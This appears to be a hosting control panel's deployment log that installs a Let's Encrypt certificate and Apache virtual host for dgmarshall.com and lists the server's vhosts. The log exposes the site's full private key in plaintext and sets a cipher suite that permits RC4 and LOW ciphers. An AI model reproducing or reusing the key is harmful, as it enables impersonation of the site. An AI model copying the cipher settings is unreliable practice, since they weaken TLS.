BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUkfSlezzWf93eN9R6oy4BxG3aQX8wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTI2LmNybDCCAQQGCisGAQQB
1nkCBAIEgfUEgfIA8AB1AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gq
AAABmYnCMaQAAAQDAEYwRAIgN2r4eNgV9JWEZH3s3ElPkBF41n3lBgSqH8Svcvxu
AR0CIBGBpGEHnDxJXuq7XNW2zuvaq7ReZJCvjZHKqDan4mxLAHcAGYbUxyiqb/66
A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZicI0MwAABAMASDBGAiEA6ip7XUfJ
Dzh8VMibdwWkdbyYrRYrJKNxcapuZEJoikECIQCm3MUB0Z9tgphKSag+B4pn6dWD
K4C1cfmu6gJTy11/0zANBgkqhkiG9w0BAQsFAAOCAQEAx9ePEYu1J3Mu9sd0VQTZ
u8kl2kszKnBRnSAhPRXdMjsUjngt40H++RIA3LFPtXrmU25JUA/ybGF1oiTXt5m0
AsBCXn7pfhHWl6CG+TNn93uY3xPHF5pITf5VSxdpFisyFC2kMwa1jtYHBEe+uzz3
zWCodu3Ut/1JA59XvSSpVdhS9Xd2YmgI7+G+rwA1vzJinogLloPyIL1lscdQkNhc
kWFJusr+nDZz70l53/5wGhY1ebIiOFwU8uLJB08n5lvhIVpz0BthIbrFtybQFgtN
KDMyvcyAAFkpRLWfQNvXFD68cttjG0+t/AL3IZCM0jkr7EJjHsNM0WTW6ivnws7A
1w==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8Mp4ySY8hW1p3
bayaz0XhD/MN0JLWaskHkWWgIpPrlaIEb+uGyTzEf3nn4kmYpxR9kaoXnfvK9aWd
RhyRLkaHHR/7UmlOe/i2yjuoYh3wBufClVRkoGqZ1I5lkr5XQ3SNY8lgmEP6FVQp
9lut8s2lCRU4bhb0FUpDA8kgw7gSgQl6eEwK1aYq0W4x4RXQuzoyiKK7fJyrg4u2
OcRm6TlOqXvt+u1oAFrSS/nvlwBhOLlLnT5js0CuywVjgBpTw+DSfusKMNTr+eam
n/0g+I51Ru4QhM5A68jU7e/ySSH+K+zTbklvFCIPTMMZkzNB7RF9mhTdFvf0Vtxk
2k/yFdSBAgMBAAECggEAJa24sHa7ukDw9tI1aXUwF2Q7FDv6+gS9JM++WfYySUtW
+a5yqDSn/utKu9s5Qt/IoW9Fb58Ip1TRCJDd7U8nfaueGJIiVT1KyUXp9cdXGRQ4
2GNPVyoqzYuZyso7Y3s03Y3p5nX1vh8BD7msF0JyW6Va40ZfQBT3Hj2myfGFa+aj
0+saa7Wkf4xfgTL9vPhdSNiGaBTMaAK8WaJWzqCRBHjPs10vFpAJVRNUHrzD7WhX
OyaUd7OZWIcKVfPFxlAdm9ch+MD34LznmsiMjo1Ti3jTbm1wZ707ErI/XCmVo1P+
N5iBYw87+V7ep/todQZRhqWfwGDeSb5Zvxb2ipkPBQKBgQDhfSuwkaKj6YO0mnU3
WhJiG2Ke2df8L2CC92bBRJd6M37ffzBdPF0oQjPSPk7I+bEP5GvoA4e3Sx49dw/H
exKUx7j/qAWPbNMKWb2MSo7VmmLM4XorZF8Uv+NnjVJ5QyGdSBAWaRq+5B7hJvId
BOcdhlUWYPMLgkTnN50p+FAIbwKBgQDVqbJ8UYhiNHzSoc+W5iRIi8mHjB+m412A
Lshjym+Q2HFzefQhtK2jRifHgODV8e8EWjjHR1TmARRsrBIhmYneD6Lmwvt6OGkD
wc8oVXMQ2i53oXlw1SSFGhGTNv9TZHp8lUjp2N9v/rKnB0A1J4bedzzAtscFJ1nn
VcStSn8KDwKBgQCaY2Gum4iIQjJzTe5D3+AGXEnCCdXgTW//O/WXDqfIe8m6rRMo
Q1RlZC6nHRJEePHKt9NKIGCkF0K1QvgC1Tl7tOPt59UmxpQY2ij2DXaOug47yYYk
f6y6QEgrdo+ph1VUoyqgrYYqfXbHIitTwy+a/4bys561mpQi2+k3+1SQ8QKBgQDN
XMkYIomy0n4zOaG8iUHQlMNETFNT5e9FuDGVcMqg7tjExC/5gZ7vcwvi/qWcHWi9
xzYRnCcm11zZQt4+e0P/MwpBQKHTjIqrOMozG0Z4qSzGgWanI8ZxRGgmFlN8xPPR
8O7fDTtdevIeBqMZM/+2reav2D4cXwFTj6V1ZkgK0wKBgG50Ygj/XTFQXrI7jnQE
IeVxZnX7CNyVUCOzSWPy1LguKih+2T7UCEllvMUr+d4VcYlo32T5NV7lIAE7F+gE
kpb2DszEnb8p9/Z55wmCrT1zc2nRoVoUugYI7xuN0G3aTZJmiY5py37Gb1IT52WY
RD2mEK1Z/EyW19lLIpntZaOo
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-27 06:00:31: 

chmod 755 /tmp/pkp589957; /tmp/pkp589957; rm /tmp/pkp589957

2025-09-27 06:00:31: 


dir=/etc/ssl/certs


2025-09-27 06:00:31: 

PUT: /tmp/pkp198031

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-27 06:00:31: 

chmod 755 /tmp/pkp198031; /tmp/pkp198031; rm /tmp/pkp198031

2025-09-27 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 42

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-27 06:00:31: 

PUT: /tmp/pkp931045

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_com.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf= 1'
fi


2025-09-27 06:00:31: 

chmod 755 /tmp/pkp931045; /tmp/pkp931045; rm /tmp/pkp931045

2025-09-27 06:00:31: 




2025-09-27 06:00:31: 

PUT: /tmp/pkp693197

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-27 06:00:31: 

chmod 755 /tmp/pkp693197; /tmp/pkp693197; rm /tmp/pkp693197

2025-09-27 06:00:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-27 06:00:31: Establishing a connection
2025-09-27 06:00:31: 

PUT: /tmp/pkp855572

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-27 06:00:31: 

chmod 755 /tmp/pkp855572; /tmp/pkp855572; rm /tmp/pkp855572

2025-09-27 06:00:31: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-27 06:00:31: 

PUT: /tmp/pkp898696

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-27 06:00:31: 

chmod 755 /tmp/pkp898696; /tmp/pkp898696; rm /tmp/pkp898696

2025-09-27 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf	1383

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-27 06:00:31: 

PUT: /tmp/pkp585887

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-27 06:00:31: 

chmod 755 /tmp/pkp585887; /tmp/pkp585887; rm /tmp/pkp585887

2025-09-27 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt	5374
6d:5c:29:3d:bc:3e:56:3a:b7:b5:92:d9:32:ab:af:64

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBZsc6FruU3ETm+Z+mxaCwRl9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMTU5WhcNMjUxMjI2MDUwMTU4WjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALwynjJJjyFbWndtrJrPReEP8w3QktZqyQeRZaAik+uVogRv64bJPMR/eefiSZin
FH2Rqhed+8r1pZ1GHJEuRocdH/tSaU57+LbKO6hiHfAG58KVVGSgapnUjmWSvldD
dI1jyWCYQ/oVVCn2W63yzaUJFThuFvQVSkMDySDDuBKBCXp4TArVpirRbjHhFdC7
OjKIort8nKuDi7Y5xGbpOU6pe+367WgAWtJL+e+XAGE4uUudPmOzQK7LBWOAGlPD
4NJ+6wow1Ov55qaf/SD4jnVG7hCEzkDryNTt7/JJIf4r7NNuSW8UIg9MwxmTM0Ht
EX2aFN0W9/RW3GTaT/IV1IECAwEAAaOCAjMwggIvMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUkfSlezzWf93eN9R6oy4BxG3aQX8wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTI2LmNybDCCAQQGCisGAQQB
1nkCBAIEgfUEgfIA8AB1AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gq
AAABmYnCMaQAAAQDAEYwRAIgN2r4eNgV9JWEZH3s3ElPkBF41n3lBgSqH8Svcvxu
AR0CIBGBpGEHnDxJXuq7XNW2zuvaq7ReZJCvjZHKqDan4mxLAHcAGYbUxyiqb/66
A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZicI0MwAABAMASDBGAiEA6ip7XUfJ
Dzh8VMibdwWkdbyYrRYrJKNxcapuZEJoikECIQCm3MUB0Z9tgphKSag+B4pn6dWD
K4C1cfmu6gJTy11/0zANBgkqhkiG9w0BAQsFAAOCAQEAx9ePEYu1J3Mu9sd0VQTZ
u8kl2kszKnBRnSAhPRXdMjsUjngt40H++RIA3LFPtXrmU25JUA/ybGF1oiTXt5m0
AsBCXn7pfhHWl6CG+TNn93uY3xPHF5pITf5VSxdpFisyFC2kMwa1jtYHBEe+uzz3
zWCodu3Ut/1JA59XvSSpVdhS9Xd2YmgI7+G+rwA1vzJinogLloPyIL1lscdQkNhc
kWFJusr+nDZz70l53/5wGhY1ebIiOFwU8uLJB08n5lvhIVpz0BthIbrFtybQFgtN
KDMyvcyAAFkpRLWfQNvXFD68cttjG0+t/AL3IZCM0jkr7EJjHsNM0WTW6ivnws7A
1w==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8Mp4ySY8hW1p3
bayaz0XhD/MN0JLWaskHkWWgIpPrlaIEb+uGyTzEf3nn4kmYpxR9kaoXnfvK9aWd
RhyRLkaHHR/7UmlOe/i2yjuoYh3wBufClVRkoGqZ1I5lkr5XQ3SNY8lgmEP6FVQp
9lut8s2lCRU4bhb0FUpDA8kgw7gSgQl6eEwK1aYq0W4x4RXQuzoyiKK7fJyrg4u2
OcRm6TlOqXvt+u1oAFrSS/nvlwBhOLlLnT5js0CuywVjgBpTw+DSfusKMNTr+eam
n/0g+I51Ru4QhM5A68jU7e/ySSH+K+zTbklvFCIPTMMZkzNB7RF9mhTdFvf0Vtxk
2k/yFdSBAgMBAAECggEAJa24sHa7ukDw9tI1aXUwF2Q7FDv6+gS9JM++WfYySUtW
+a5yqDSn/utKu9s5Qt/IoW9Fb58Ip1TRCJDd7U8nfaueGJIiVT1KyUXp9cdXGRQ4
2GNPVyoqzYuZyso7Y3s03Y3p5nX1vh8BD7msF0JyW6Va40ZfQBT3Hj2myfGFa+aj
0+saa7Wkf4xfgTL9vPhdSNiGaBTMaAK8WaJWzqCRBHjPs10vFpAJVRNUHrzD7WhX
OyaUd7OZWIcKVfPFxlAdm9ch+MD34LznmsiMjo1Ti3jTbm1wZ707ErI/XCmVo1P+
N5iBYw87+V7ep/todQZRhqWfwGDeSb5Zvxb2ipkPBQKBgQDhfSuwkaKj6YO0mnU3
WhJiG2Ke2df8L2CC92bBRJd6M37ffzBdPF0oQjPSPk7I+bEP5GvoA4e3Sx49dw/H
exKUx7j/qAWPbNMKWb2MSo7VmmLM4XorZF8Uv+NnjVJ5QyGdSBAWaRq+5B7hJvId
BOcdhlUWYPMLgkTnN50p+FAIbwKBgQDVqbJ8UYhiNHzSoc+W5iRIi8mHjB+m412A
Lshjym+Q2HFzefQhtK2jRifHgODV8e8EWjjHR1TmARRsrBIhmYneD6Lmwvt6OGkD
wc8oVXMQ2i53oXlw1SSFGhGTNv9TZHp8lUjp2N9v/rKnB0A1J4bedzzAtscFJ1nn
